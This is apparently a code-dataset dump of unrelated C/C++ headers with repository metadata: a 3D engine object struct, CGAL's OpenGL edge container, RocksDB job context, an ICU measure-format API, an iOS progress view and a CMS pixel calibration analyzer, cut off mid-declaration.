bool bNewZLayerObject; // flagged if requires zbuffer clear bool bLockedObject; // flagged if requires a locked camera bool bStencilObject; // flagged if object uses the stencil layer bool bReflectiveObject; // flagged if object renders a reflection bool bReflectiveClipping; // flagged if user clipping detected and available bool bHadLODNeedCamDistance; // flagged if use ADD LOD TO OBJECT bool bDrawBounds; // to hide/show the bounds geometry bool bStatic; // flagged if a static object ( won't go into the draw list ) bool bUsesItsOwnBuffers; // flagged to get best speed with some drivers bool bReplaceObjectFromBuffers; // flagged when object must be removed from buffers bool bCastsAShadow; // flagged if will cast a shadow LPVOID pShadowMesh; // holds the pointer to the shadow mesh bool bHideShadow; // flagged if temp. hide shadow bool bExcluded; // flagged if object is excluded bool bDisableTransform; // disable transforms - for external control float fFOV; // per-object FOV control int iInsideUniverseArea; // -1=no, otherwise areabox index (work) float fLODDistance [ 2 ]; // store distance of LOD transitions int iUsingWhichLOD; // using 0-normal,1-lod[0] and 2-lod[1] // reserved members bool bVeryEarlyObject; // U71 - object can be rendered even before stencilstart (and matrix, terrain, world, etc), ideal for skyboxes float* pfAnimLimbFrame; // U75 - mem ptr for limb based animation frames //bool bReservedOP3; // above 4 byte replaced 4 1 byte bools - maintain plugin compat. //bool bReservedOP4; // reserved - maintain plugin compat. //bool bReservedOP5; // reserved - maintain plugin compat. DWORD dwObjectNumber; // was dwCameraMaskBits, 301007 - now objid DWORD dwCameraMaskBits; // reserved - maintain plugin compat. int iUsingOldLOD; // U71 - alpha fade float fLODTransition; // U71 - alpha fade float fLODDistanceQUAD; // store distance of final LOD transitions }; struct sObjectAnimationProperties { // animation properties of an object bool bAnimPlaying; // is anim playing bool bAnimLooping; // is looping bool bAnimUpdateOnce; // used when change limb (can affect boned models) float fAnimFrame; // frame we're on float fAnimLastFrame; // last frame float fAnimSpeed; // speed of animation float fAnimLoopStart; // start loop point float fAnimFrameEnd; // end frame float fAnimTotalFrames; // total number of frame bool bAnimManualSlerp; // slerp animation float fAnimSlerpStartFrame; // start frame float fAnimSlerpEndFrame; // end frame float fAnimSlerpLastTime; // used so we do not repeat anim calculations on object (quickreject) float fAnimSlerpTime; // time float fAnimInterp; // interpolation }; struct sObjectInstance { // object instance sObject* pInstanceOfObject; // used to mark object as a mere instance of object at ptr bool* pInstanceMeshVisible; // used to store limb visibility data bool bInstanceAlphaOverride; // used to apply alpha factor to instance obj DWORD dwInstanceAlphaOverride; // alpha override }; struct sObjectData { // object data int iMeshCount; // number of meshes in model int iFrameCount; // number of frames in the model sMesh** ppMeshList; // mesh list sFrame** ppFrameList; // frame list sFrame* pFrame; // main frame ( contained in a hiearachy ) sAnimationSet* pAnimationSet; // list of all animations sCollisionData collision; // global collision data ( each mesh within a frame also has collision data - but local to itself ) sPositionData position; // global positioning data }; struct sObjectDelete { // delete object - for adding in your own delete function e.g. external DLL struct sDelete { ON_OBJECT_DELETE_CALLBACK onDelete; int userData; sDelete ( ) { onDelete = NULL; userData = -1; } }; sDelete* pDelete; int iDeleteCount; int iDeleteID; // 310305 - mike - destructor needed ~sObjectDelete ( ); }; struct sObjectCustom { // 280305 - used when objects want to store custom data for example when // - they save and want to save out this data DWORD dwCustomSize; void* pCustomData; sObjectCustom ( ); // 310305 - destructor ~sObjectCustom ( ); }; struct sObject : public sObjectData, sObjectProperties, sObjectAnimationProperties, sObjectInstance, sObjectDelete, sObjectCustom { // constructor and destructor sObject ( ); ~sObject ( ); // Ideally, these should go into sObjectInstance, but // doing so would break internal and third-party plug-ins // Set this to point to the object that this object is dependent upon. // (ie, Instance, and clone with shared animation data) sObject* pObjectDependency; // Increment this when another object depends on this object. DWORD dwDependencyCount; }; ////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////// #endif _DBODATA_H_
38.848423
164
0.600869
[ "mesh", "geometry", "render", "object", "vector", "model" ]
cf3b1a87ca2b60b82d902b9df7e50c077a21d65e
4,172
h
C
CoreSystem/lib/CGAL/include/CGAL/Three/Edge_container.h
josuehfa/DAASystem
a1fe61ffc19f0781eeeddcd589137eefde078a45
[ "MIT" ]
1
2020-03-17T01:13:02.000Z
2020-03-17T01:13:02.000Z
CoreSystem/lib/CGAL/include/CGAL/Three/Edge_container.h
josuehfa/DAASystem
a1fe61ffc19f0781eeeddcd589137eefde078a45
[ "MIT" ]
null
null
null
CoreSystem/lib/CGAL/include/CGAL/Three/Edge_container.h
josuehfa/DAASystem
a1fe61ffc19f0781eeeddcd589137eefde078a45
[ "MIT" ]
1
2021-12-02T11:11:36.000Z
2021-12-02T11:11:36.000Z
// Copyright (c) 2018 GeometryFactory Sarl (France) // All rights reserved. // // This file is part of CGAL (www.cgal.org). // // $URL: https://github.com/CGAL/cgal/blob/releases/CGAL-5.0.2/Three/include/CGAL/Three/Edge_container.h $ // $Id: Edge_container.h 254d60f 2019-10-19T15:23:19+02:00 Sébastien Loriot // SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial // // Author(s) : Maxime Gimeno #ifndef EDGE_CONTAINER_H #define EDGE_CONTAINER_H #include <CGAL/license/Three.h> #include <CGAL/Three/Scene_item.h> #include <CGAL/Three/Viewer_interface.h> #include <CGAL/Three/Primitive_container.h> using namespace CGAL::Three; #ifdef demo_framework_EXPORTS # define DEMO_FRAMEWORK_EXPORT Q_DECL_EXPORT #else # define DEMO_FRAMEWORK_EXPORT Q_DECL_IMPORT #endif struct Edge_d; namespace CGAL { namespace Three { //! //! \brief The Edge_container struct wraps the OpenGL data for drawing lines. //! struct DEMO_FRAMEWORK_EXPORT Edge_container :public Primitive_container { //! //! \brief The vbosName enum //! //! Holds the `Vbo` Ids of this container. //! enum vbosName { Vertices = 0, //!< Designates the buffer that contains the vertex coordinates. Indices, //!< Designates the buffer that contains the vertex indices. Normals, //!< Designates the buffer that contains the normal coordinates. Colors, //!< Designates the buffer that contains the color components. Radius, //!< Designates the buffer that contains the radius of wire spheres. Centers, //!< Designates the buffer that contains the center of c3t3 facets or the center of wire spheres, for example. Texture_map, //!< Designates the buffer that contains the UV map for the texture. NbOfVbos //!< Designates the size of the VBOs vector for `Edge_container`s }; //! //! \brief The constructor. //! \param program is the `QOpenGLShaderProgram` that is used by this `Edge_container` `Vao`. //! \param indexed must be `true` if the data is indexed, `false` otherwise. If `true`, VBOs[Indices] must be filled. //! Edge_container(int program, bool indexed); //! //! \brief initGL creates the `Vbo`s and `Vao`s of this `Edge_container`. //! \attention It must be called within a valid OpenGL context. The `draw()` function of an item is always a safe place to call this. //! //! \todo Is it a good idea to call InitGL of each item in the scene so the developper doesn't have to worry about this in each draw() of each item ? //!`. //! \param viewer the active `Viewer_interface`. //! void initGL(Viewer_interface *viewer) Q_DECL_OVERRIDE; //! //! \brief draw is the function that actually renders the data. //! \param viewer the active `Viewer_interface`. //! \param is_color_uniform must be `false` if `VBOs`[`Colors`] is not empty, `true` otherwise. //! void draw(CGAL::Three::Viewer_interface* viewer, bool is_color_uniform) Q_DECL_OVERRIDE; void initializeBuffers(Viewer_interface *viewer) Q_DECL_OVERRIDE; /// \name Getters and Setters for the shaders parameters. /// /// Each of those depends of the `OpenGL_program_IDs` this container is using. /// If the shaders of this program doesn't need one, you can ignore it. /// The others should be filled at each `draw()` from the item. ///@{ //! getter for the "plane" parameter QVector4D getPlane()const; //! getter for the "f_matrix" parameter QMatrix4x4 getFrameMatrix()const; //! getter for the "viewport" parameter QVector2D getViewport()const; //! getter for the "width" parameter GLfloat getWidth()const; //! setter for the "plane" parameter void setPlane(const QVector4D&); //! setter for the "f_matrix" parameter void setFrameMatrix(const QMatrix4x4&); //! setter for the "viewport" parameter void setViewport(const QVector2D&); //! setter for the "width" parameter void setWidth(const GLfloat&); //! setter for the "is_surface" attribute. Used in PROGRAM_C3T3_EDGES void setIsSurface (const bool); ///@} private: friend struct Edge_d; mutable Edge_d* d; }; //end of class Triangle_container } } #endif // EDGE_CONTAINER_H
35.65812
151
0.709252
[ "vector" ]
cf48888e0db07317053efa6f69c183e07eac5b21
7,273
h
C
libraries/vendor/rocksdb/db/job_context.h
raggi/xgt
ab7dedab2230eadb500a556abe6468d686d7db55
[ "MIT" ]
15
2018-12-16T13:11:33.000Z
2021-12-08T10:38:08.000Z
libraries/vendor/rocksdb/db/job_context.h
raggi/xgt
ab7dedab2230eadb500a556abe6468d686d7db55
[ "MIT" ]
26
2021-06-08T16:20:23.000Z
2022-03-30T03:42:21.000Z
libraries/vendor/rocksdb/db/job_context.h
raggi/xgt
ab7dedab2230eadb500a556abe6468d686d7db55
[ "MIT" ]
26
2018-12-13T05:44:22.000Z
2021-11-17T21:22:41.000Z
// Copyright (c) 2011-present, Facebook, Inc. All rights reserved. // This source code is licensed under both the GPLv2 (found in the // COPYING file in the root directory) and Apache 2.0 License // (found in the LICENSE.Apache file in the root directory). // // Copyright (c) 2011 The LevelDB Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. See the AUTHORS file for names of contributors. #pragma once #include <string> #include <vector> #include "db/log_writer.h" #include "db/column_family.h" namespace ROCKSDB_NAMESPACE { class MemTable; struct SuperVersion; struct SuperVersionContext { struct WriteStallNotification { WriteStallInfo write_stall_info; const ImmutableOptions* immutable_options; }; autovector<SuperVersion*> superversions_to_free; #ifndef ROCKSDB_DISABLE_STALL_NOTIFICATION autovector<WriteStallNotification> write_stall_notifications; #endif std::unique_ptr<SuperVersion> new_superversion; // if nullptr no new superversion explicit SuperVersionContext(bool create_superversion = false) : new_superversion(create_superversion ? new SuperVersion() : nullptr) {} explicit SuperVersionContext(SuperVersionContext&& other) : superversions_to_free(std::move(other.superversions_to_free)), #ifndef ROCKSDB_DISABLE_STALL_NOTIFICATION write_stall_notifications(std::move(other.write_stall_notifications)), #endif new_superversion(std::move(other.new_superversion)) { } void NewSuperVersion() { new_superversion = std::unique_ptr<SuperVersion>(new SuperVersion()); } inline bool HaveSomethingToDelete() const { #ifndef ROCKSDB_DISABLE_STALL_NOTIFICATION return !superversions_to_free.empty() || !write_stall_notifications.empty(); #else return !superversions_to_free.empty(); #endif } void PushWriteStallNotification(WriteStallCondition old_cond, WriteStallCondition new_cond, const std::string& name, const ImmutableOptions* ioptions) { #if !defined(ROCKSDB_LITE) && !defined(ROCKSDB_DISABLE_STALL_NOTIFICATION) WriteStallNotification notif; notif.write_stall_info.cf_name = name; notif.write_stall_info.condition.prev = old_cond; notif.write_stall_info.condition.cur = new_cond; notif.immutable_options = ioptions; write_stall_notifications.push_back(notif); #else (void)old_cond; (void)new_cond; (void)name; (void)ioptions; #endif // !defined(ROCKSDB_LITE) && !defined(ROCKSDB_DISABLE_STALL_NOTIFICATION) } void Clean() { #if !defined(ROCKSDB_LITE) && !defined(ROCKSDB_DISABLE_STALL_NOTIFICATION) // notify listeners on changed write stall conditions for (auto& notif : write_stall_notifications) { for (auto& listener : notif.immutable_options->listeners) { listener->OnStallConditionsChanged(notif.write_stall_info); } } write_stall_notifications.clear(); #endif // !ROCKSDB_LITE // free superversions for (auto s : superversions_to_free) { delete s; } superversions_to_free.clear(); } ~SuperVersionContext() { #ifndef ROCKSDB_DISABLE_STALL_NOTIFICATION assert(write_stall_notifications.empty()); #endif assert(superversions_to_free.empty()); } }; struct JobContext { inline bool HaveSomethingToDelete() const { return !(full_scan_candidate_files.empty() && sst_delete_files.empty() && blob_delete_files.empty() && log_delete_files.empty() && manifest_delete_files.empty()); } inline bool HaveSomethingToClean() const { bool sv_have_sth = false; for (const auto& sv_ctx : superversion_contexts) { if (sv_ctx.HaveSomethingToDelete()) { sv_have_sth = true; break; } } return memtables_to_free.size() > 0 || logs_to_free.size() > 0 || sv_have_sth; } // Structure to store information for candidate files to delete. struct CandidateFileInfo { std::string file_name; std::string file_path; CandidateFileInfo(std::string name, std::string path) : file_name(std::move(name)), file_path(std::move(path)) {} bool operator==(const CandidateFileInfo& other) const { return file_name == other.file_name && file_path == other.file_path; } }; // Unique job id int job_id; // a list of all files that we'll consider deleting // (every once in a while this is filled up with all files // in the DB directory) // (filled only if we're doing full scan) std::vector<CandidateFileInfo> full_scan_candidate_files; // the list of all live sst files that cannot be deleted std::vector<uint64_t> sst_live; // the list of sst files that we need to delete std::vector<ObsoleteFileInfo> sst_delete_files; // the list of all live blob files that cannot be deleted std::vector<uint64_t> blob_live; // the list of blob files that we need to delete std::vector<ObsoleteBlobFileInfo> blob_delete_files; // a list of log files that we need to delete std::vector<uint64_t> log_delete_files; // a list of log files that we need to preserve during full purge since they // will be reused later std::vector<uint64_t> log_recycle_files; // a list of manifest files that we need to delete std::vector<std::string> manifest_delete_files; // a list of memtables to be free autovector<MemTable*> memtables_to_free; // contexts for installing superversions for multiple column families std::vector<SuperVersionContext> superversion_contexts; autovector<log::Writer*> logs_to_free; // the current manifest_file_number, log_number and prev_log_number // that corresponds to the set of files in 'live'. uint64_t manifest_file_number; uint64_t pending_manifest_file_number; uint64_t log_number; uint64_t prev_log_number; uint64_t min_pending_output = 0; uint64_t prev_total_log_size = 0; size_t num_alive_log_files = 0; uint64_t size_log_to_delete = 0; // Snapshot taken before flush/compaction job. std::unique_ptr<ManagedSnapshot> job_snapshot; explicit JobContext(int _job_id, bool create_superversion = false) { job_id = _job_id; manifest_file_number = 0; pending_manifest_file_number = 0; log_number = 0; prev_log_number = 0; superversion_contexts.emplace_back( SuperVersionContext(create_superversion)); } // For non-empty JobContext Clean() has to be called at least once before // before destruction (see asserts in ~JobContext()). Should be called with // unlocked DB mutex. Destructor doesn't call Clean() to avoid accidentally // doing potentially slow Clean() with locked DB mutex. void Clean() { // free superversions for (auto& sv_context : superversion_contexts) { sv_context.Clean(); } // free pending memtables for (auto m : memtables_to_free) { delete m; } for (auto l : logs_to_free) { delete l; } memtables_to_free.clear(); logs_to_free.clear(); job_snapshot.reset(); } ~JobContext() { assert(memtables_to_free.size() == 0); assert(logs_to_free.size() == 0); } }; } // namespace ROCKSDB_NAMESPACE
31.899123
81
0.715111
[ "vector" ]
cf48dbb538b880ea0a417ca714c5cc4681559620
12,386
h
C
runtime/macos/OSXPrivateSDK-master/PrivateSDK10.10.sparse.sdk/usr/include/unicode/uameasureformat.h
cz-it/step_in_runtime
3f7ad51cfb75a801f0ac05e3cb9846115736660a
[ "MIT" ]
null
null
null
runtime/macos/OSXPrivateSDK-master/PrivateSDK10.10.sparse.sdk/usr/include/unicode/uameasureformat.h
cz-it/step_in_runtime
3f7ad51cfb75a801f0ac05e3cb9846115736660a
[ "MIT" ]
null
null
null
runtime/macos/OSXPrivateSDK-master/PrivateSDK10.10.sparse.sdk/usr/include/unicode/uameasureformat.h
cz-it/step_in_runtime
3f7ad51cfb75a801f0ac05e3cb9846115736660a
[ "MIT" ]
null
null
null
/* ***************************************************************************************** * Copyright (C) 2014 Apple Inc. All Rights Reserved. ***************************************************************************************** */ #ifndef UAMEASUREFORMAT_H #define UAMEASUREFORMAT_H #include "unicode/utypes.h" #if !UCONFIG_NO_FORMATTING #ifndef U_HIDE_DRAFT_API #include "unicode/localpointer.h" #include "unicode/unum.h" #include "unicode/umisc.h" /** * \file * \brief C API: Format combinations of measurement units and numeric values. * * This is a somewhat temporary Apple-specific wrapper for using C++ MeasureFormat * to format Measure objects, until the official ICU C API is available. */ /** * Opaque UAMeasureFormat object for use in C programs. * @draft ICU 53 */ struct UAMeasureFormat; typedef struct UAMeasureFormat UAMeasureFormat; /**< C typedef for struct UAMeasureFormat. @draft ICU 53 */ /** * Constants for various widths. * @draft ICU 53 */ typedef enum UAMeasureFormatWidth { /** * Full unit names, e.g. "5 hours, 37 minutes" * @draft ICU 53 */ UAMEASFMT_WIDTH_WIDE, /** * Abbreviated unit names, e.g. "5 hrs, 37 mins" * @draft ICU 53 */ UAMEASFMT_WIDTH_SHORT, /** * Use unit symbols if possible, e.g. "5 h, 37 m" * @draft ICU 53 */ UAMEASFMT_WIDTH_NARROW, /** * Completely omit unit designatins if possible, e.g. "5:37" * @draft ICU 53 */ UAMEASFMT_WIDTH_NUMERIC, /** * Count of values in this enum. * @draft ICU 53 */ UAMEASFMT_WIDTH_COUNT } UAMeasureFormatWidth; /** * Measurement units * @draft ICU 54 */ typedef enum UAMeasureUnit { UAMEASUNIT_ACCELERATION_G_FORCE = (0 << 8) + 0, // UAMEASUNIT_ANGLE_DEGREE = (1 << 8) + 0, UAMEASUNIT_ANGLE_ARC_MINUTE = (1 << 8) + 1, UAMEASUNIT_ANGLE_ARC_SECOND = (1 << 8) + 2, // UAMEASUNIT_AREA_SQUARE_METER = (2 << 8) + 0, UAMEASUNIT_AREA_SQUARE_KILOMETER = (2 << 8) + 1, UAMEASUNIT_AREA_SQUARE_FOOT = (2 << 8) + 2, UAMEASUNIT_AREA_SQUARE_MILE = (2 << 8) + 3, UAMEASUNIT_AREA_ACRE = (2 << 8) + 4, UAMEASUNIT_AREA_HECTARE = (2 << 8) + 5, // // (currency category 3 handled separately) // UAMEASUNIT_DURATION_YEAR = (4 << 8) + 0, UAMEASUNIT_DURATION_MONTH = (4 << 8) + 1, UAMEASUNIT_DURATION_WEEK = (4 << 8) + 2, UAMEASUNIT_DURATION_DAY = (4 << 8) + 3, UAMEASUNIT_DURATION_HOUR = (4 << 8) + 4, UAMEASUNIT_DURATION_MINUTE = (4 << 8) + 5, UAMEASUNIT_DURATION_SECOND = (4 << 8) + 6, UAMEASUNIT_DURATION_MILLISECOND = (4 << 8) + 7, // UAMEASUNIT_LENGTH_METER = (5 << 8) + 0, UAMEASUNIT_LENGTH_CENTIMETER = (5 << 8) + 1, UAMEASUNIT_LENGTH_KILOMETER = (5 << 8) + 2, UAMEASUNIT_LENGTH_MILLIMETER = (5 << 8) + 3, UAMEASUNIT_LENGTH_PICOMETER = (5 << 8) + 4, UAMEASUNIT_LENGTH_FOOT = (5 << 8) + 5, UAMEASUNIT_LENGTH_INCH = (5 << 8) + 6, UAMEASUNIT_LENGTH_MILE = (5 << 8) + 7, UAMEASUNIT_LENGTH_YARD = (5 << 8) + 8, UAMEASUNIT_LENGTH_LIGHT_YEAR = (5 << 8) + 9, // UAMEASUNIT_MASS_GRAM = (6 << 8) + 0, UAMEASUNIT_MASS_KILOGRAM = (6 << 8) + 1, UAMEASUNIT_MASS_OUNCE = (6 << 8) + 2, UAMEASUNIT_MASS_POUND = (6 << 8) + 3, UAMEASUNIT_MASS_STONE = (6 << 8) + 4, // = 14 pounds / 6.35 kg, abbr "st", used in UK/Ireland for body weight (proposed CLDR 26) // UAMEASUNIT_POWER_WATT = (7 << 8) + 0, UAMEASUNIT_POWER_KILOWATT = (7 << 8) + 1, UAMEASUNIT_POWER_HORSEPOWER = (7 << 8) + 2, // UAMEASUNIT_PRESSURE_HECTOPASCAL = (8 << 8) + 0, UAMEASUNIT_PRESSURE_INCH_HG = (8 << 8) + 1, UAMEASUNIT_PRESSURE_MILLIBAR = (8 << 8) + 2, // UAMEASUNIT_SPEED_METER_PER_SECOND = (9 << 8) + 0, UAMEASUNIT_SPEED_KILOMETER_PER_HOUR = (9 << 8) + 1, UAMEASUNIT_SPEED_MILE_PER_HOUR = (9 << 8) + 2, // UAMEASUNIT_TEMPERATURE_CELSIUS = (10 << 8) + 0, UAMEASUNIT_TEMPERATURE_FAHRENHEIT = (10 << 8) + 1, // UAMEASUNIT_VOLUME_LITER = (11 << 8) + 0, UAMEASUNIT_VOLUME_CUBIC_KILOMETER = (11 << 8) + 1, UAMEASUNIT_VOLUME_CUBIC_MILE = (11 << 8) + 2, // // new categories proposed for CLDR 26 UAMEASUNIT_ENERGY_JOULE = (12 << 8) + 2, // (proposed CLDR 26) UAMEASUNIT_ENERGY_KILOJOULE = (12 << 8) + 4, // (proposed CLDR 26) UAMEASUNIT_ENERGY_CALORIE = (12 << 8) + 0, // chemistry "calories", abbr "cal" (proposed CLDR 26) UAMEASUNIT_ENERGY_KILOCALORIE = (12 << 8) + 3, // kilocalories in general (chemistry, food), abbr "kcal" (proposed CLDR 26) UAMEASUNIT_ENERGY_FOODCALORIE = (12 << 8) + 1, // kilocalories specifically for food; in US/UK/? "Calories" abbr "C", elsewhere same as "kcal" (proposed CLDR 26) } UAMeasureUnit; /** * Structure that combines value and UAMeasureUnit, * for use with uameasfmt_formatMultiple to specify a * list of value/unit combinations to format. * @draft ICU 54 */ typedef struct UAMeasure { double value; UAMeasureUnit unit; } UAMeasure; /** * Open a new UAMeasureFormat object for a given locale using the specified width, * along with a number formatter (if desired) to override the default formatter * that would be used for the numeric part of the unit in uameasfmt_format, or the * numeric part of the *last unit* (only) in uameasfmt_formatMultiple. The default * formatter uses zero decimal places and rounds toward 0; an alternate number formatter * can be used to produce (e.g.) "37.2 mins" instead of "37 mins", or * "5 hours, 37.2 minutes" instead of "5 hours, 37 minutes". * * @param locale * The locale * @param style * The width - wide, short, narrow, etc. * @param nfToAdopt * A number formatter to set for this UAMeasureFormat object (instead of * the default decimal formatter). Ownership of this UNumberFormat object * will pass to the UAMeasureFormat object (the UAMeasureFormat adopts the * UNumberFormat), which becomes responsible for closing it. If the caller * wishes to retain ownership of the UNumberFormat object, the caller must * clone it (with unum_clone) and pass the clone to * uatmufmt_openWithNumberFormat. May be NULL to use the default decimal * formatter. * @param status * A pointer to a UErrorCode to receive any errors. * @return * A pointer to a UAMeasureFormat object for the specified locale, * or NULL if an error occurred. * @draft ICU 54 */ U_DRAFT UAMeasureFormat* U_EXPORT2 uameasfmt_open( const char* locale, UAMeasureFormatWidth width, UNumberFormat* nfToAdopt, UErrorCode* status ); /** * Close a UAMeasureFormat object. Once closed it may no longer be used. * @param measfmt * The UATimeUnitFormat object to close. * @draft ICU 54 */ U_DRAFT void U_EXPORT2 uameasfmt_close(UAMeasureFormat *measfmt); #if U_SHOW_CPLUSPLUS_API U_NAMESPACE_BEGIN /** * \class LocalUAMeasureFormatPointer * "Smart pointer" class, closes a UAMeasureFormat via uameasfmt_close(). * For most methods see the LocalPointerBase base class. * * @see LocalPointerBase * @see LocalPointer * @draft ICU 54 */ U_DEFINE_LOCAL_OPEN_POINTER(LocalUAMeasureFormatPointer, UAMeasureFormat, uameasfmt_close); U_NAMESPACE_END #endif /** * Format a value like 1.0 and a field like UAMEASUNIT_DURATION_MINUTE to e.g. "1.0 minutes". * * @param measfmt * The UAMeasureFormat object specifying the format conventions. * @param value * The numeric value to format * @param unit * The unit to format with the specified numeric value * @param result * A pointer to a buffer to receive the formatted result. * @param resultCapacity * The maximum size of result. * @param status * A pointer to a UErrorCode to receive any errors. In case of error status, * the contents of result are undefined. * @return * The length of the formatted result; may be greater than resultCapacity, * in which case an error is returned. * @draft ICU 54 */ U_DRAFT int32_t U_EXPORT2 uameasfmt_format( const UAMeasureFormat* measfmt, double value, UAMeasureUnit unit, UChar* result, int32_t resultCapacity, UErrorCode* status ); /** * Format a value like 1.0 and a field like UAMEASUNIT_DURATION_MINUTE to e.g. "1.0 minutes", * and get the position in the formatted result for certain types for fields. * * @param measfmt * The UAMeasureFormat object specifying the format conventions. * @param value * The numeric value to format * @param unit * The unit to format with the specified numeric value * @param result * A pointer to a buffer to receive the formatted result. * @param resultCapacity * The maximum size of result. * @param pos * A pointer to a UFieldPosition. On input, pos->field is read; this should * be a value from the UNumberFormatFields enum in unum.h. On output, * pos->beginIndex and pos->endIndex indicate the beginning and ending offsets * of that field in the formatted output, if relevant. This parameter may be * NULL if no position information is desired. * @param status * A pointer to a UErrorCode to receive any errors. In case of error status, * the contents of result are undefined. * @return * The length of the formatted result; may be greater than resultCapacity, * in which case an error is returned. * @draft ICU 54 */ U_DRAFT int32_t U_EXPORT2 uameasfmt_formatGetPosition( const UAMeasureFormat* measfmt, double value, UAMeasureUnit unit, UChar* result, int32_t resultCapacity, UFieldPosition* pos, UErrorCode* status ); /** * Format a list of value and unit combinations, using locale-appropriate * conventions for the list. Each combination is represented by a UAMeasure * that combines a value and unit, such as 5.3 + UAMEASUNIT_DURATION_HOUR or * 37.2 + UAMEASUNIT_DURATION_MINUTE. For all except the last UAMeasure in the * list, the numeric part will be formatted using the default formatter (zero * decimal places, rounds toward 0); for the last UAMeasure, the default may * be overriden by passing a number formatter in uameasfmt_open. The result * can thus be something like "5 hours, 37.2 minutes" or "5 hrs, 37.2 mins". * * @param measfmt * The UAMeasureFormat object specifying the format conventions. * @param measures * A list of UAMeasure structs each specifying a numeric value * and a UAMeasureUnit. * @param measureCount * The count of UAMeasureUnits in measures. Currently this has a limit of 8. * @param result * A pointer to a buffer to receive the formatted result. * @param resultCapacity * The maximum size of result. * @param status * A pointer to a UErrorCode to receive any errors. In case of error status, * the contents of result are undefined. * @return * The length of the formatted result; may be greater than resultCapacity, * in which case an error is returned. * @draft ICU 54 */ U_DRAFT int32_t U_EXPORT2 uameasfmt_formatMultiple( const UAMeasureFormat* measfmt, const UAMeasure* measures, int32_t measureCount, UChar* result, int32_t resultCapacity, UErrorCode* status ); #endif /* U_HIDE_DRAFT_API */ #endif /* #if !UCONFIG_NO_FORMATTING */ #endif /* #ifndef UAMEASUREFORMAT_H */
37.877676
170
0.616745
[ "object" ]
cf5169f3a274f337e23eb6547999d71e7bddb50e
1,328
h
C
Classes/ProgressViews/M13ProgressViewLetterpress.h
salConigliaro/M13ProgressSuite
6e627a6788230d98ea311426a75719c66461fa0b
[ "Unlicense" ]
1
2015-03-04T15:58:16.000Z
2015-03-04T15:58:16.000Z
Classes/ProgressViews/M13ProgressViewLetterpress.h
salConigliaro/M13ProgressSuite
6e627a6788230d98ea311426a75719c66461fa0b
[ "Unlicense" ]
null
null
null
Classes/ProgressViews/M13ProgressViewLetterpress.h
salConigliaro/M13ProgressSuite
6e627a6788230d98ea311426a75719c66461fa0b
[ "Unlicense" ]
null
null
null
// // M13ProgressViewLetterpress.h // M13ProgressSuite // // Created by Brandon McQuilkin on 4/28/14. // Copyright (c) 2014 Brandon McQuilkin. All rights reserved. // #import "M13ProgressView.h" typedef enum { M13ProgressViewLetterpressPointShapeSquare, M13ProgressViewLetterpressPointShapeCircle } M13ProgressViewLetterpressPointShape; @interface M13ProgressViewLetterpress : M13ProgressView /**@name Properties*/ /** The number of grid points in each direction. */ @property (nonatomic, assign) CGPoint numberOfGridPoints; /** The shape of the grid points. */ @property (nonatomic, assign) M13ProgressViewLetterpressPointShape pointShape; /** The amount of space between the grid points. */ @property (nonatomic, assign) CGFloat pointSpacing; /** The size of the notch to carve out on one side. */ @property (nonatomic, assign) CGSize notchSize; /** The spring constant that defines the amount of "spring" the progress view has in its animation. */ @property (nonatomic, assign) CGFloat springConstant; /** The constant that determines how long the progress view "bounces" for. */ @property (nonatomic, assign) CGFloat dampingCoefficient; /** The constant that determines how much the springConstant and dampingCoefficent affect the animation. */ @property (nonatomic, assign) CGFloat mass; @end
27.666667
101
0.765813
[ "shape" ]
cf555844f63c904d76a1958f042c8f5a39d6daf8
3,672
h
C
CalibTracker/SiPixelGainCalibration/plugins/SiPixelGainCalibrationAnalysis.h
nistefan/cmssw
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
[ "Apache-2.0" ]
1
2019-08-09T08:42:11.000Z
2019-08-09T08:42:11.000Z
CalibTracker/SiPixelGainCalibration/plugins/SiPixelGainCalibrationAnalysis.h
nistefan/cmssw
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
[ "Apache-2.0" ]
null
null
null
CalibTracker/SiPixelGainCalibration/plugins/SiPixelGainCalibrationAnalysis.h
nistefan/cmssw
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
[ "Apache-2.0" ]
1
2019-04-03T19:23:27.000Z
2019-04-03T19:23:27.000Z
// -*- C++ -*- // // Package: SiPixelGainCalibrationAnalysis // Class: SiPixelGainCalibrationAnalysis // /**\class SiPixelGainCalibrationAnalysis SiPixelGainCalibrationAnalysis.h CalibTracker/SiPixelGainCalibrationAnalysis/interface/SiPixelGainCalibrationAnalysis.h Description: <one line class summary> Implementation: <Notes on implementation> */ // // Original Author: Freya Blekman // Created: Wed Nov 14 15:02:06 CET 2007 // // // system include files #include <memory> // user include files #include "FWCore/Framework/interface/Frameworkfwd.h" #include "FWCore/Framework/interface/EDAnalyzer.h" #include "CalibTracker/SiPixelTools/interface/SiPixelOfflineCalibAnalysisBase.h" #include "FWCore/Framework/interface/Event.h" #include "FWCore/Framework/interface/MakerMacros.h" #include "FWCore/ParameterSet/interface/ParameterSet.h" #include "CondFormats/SiPixelObjects/interface/SiPixelCalibConfiguration.h" //#include "CondFormats/SiPixelObjects/interface/SiPixelGainCalibration.h" //#include "CondFormats/SiPixelObjects/interface/SiPixelGainCalibrationOffline.h" //#include "CondFormats/SiPixelObjects/interface/SiPixelGainCalibrationForHLT.h" //#include "CalibTracker/SiPixelESProducers/interface/SiPixelGainCalibrationService.h" #include "DQMServices/Core/interface/MonitorElement.h" #include "TLinearFitter.h" #include "TGraphErrors.h" #include <fstream> // // class decleration // class SiPixelGainCalibrationAnalysis : public SiPixelOfflineCalibAnalysisBase { public: explicit SiPixelGainCalibrationAnalysis(const edm::ParameterSet& iConfig); ~SiPixelGainCalibrationAnalysis() override; void doSetup(const edm::ParameterSet&); bool doFits(uint32_t detid, std::vector<SiPixelCalibDigi>::const_iterator ipix) override; bool checkCorrectCalibrationType() override; private: void calibrationSetup(const edm::EventSetup& iSetup) override; void calibrationEnd() override; void newDetID(uint32_t detid) override; void fillDatabase(); void printSummary(); std::vector<float> CalculateAveragePerColumn(uint32_t detid, std::string label); // ----------member data --------------------------- edm::ParameterSet conf_; // more class members used to keep track of the histograms std::map<uint32_t,std::map<std::string, MonitorElement *> > bookkeeper_; std::map<uint32_t,std::map<std::string, MonitorElement *> > bookkeeper_pixels_; // fitter int nfitparameters_; std::string fitfunction_; TF1 *func_; TGraphErrors *graph_; std::vector<uint32_t> listofdetids_; bool ignoreMode_; // flags bool 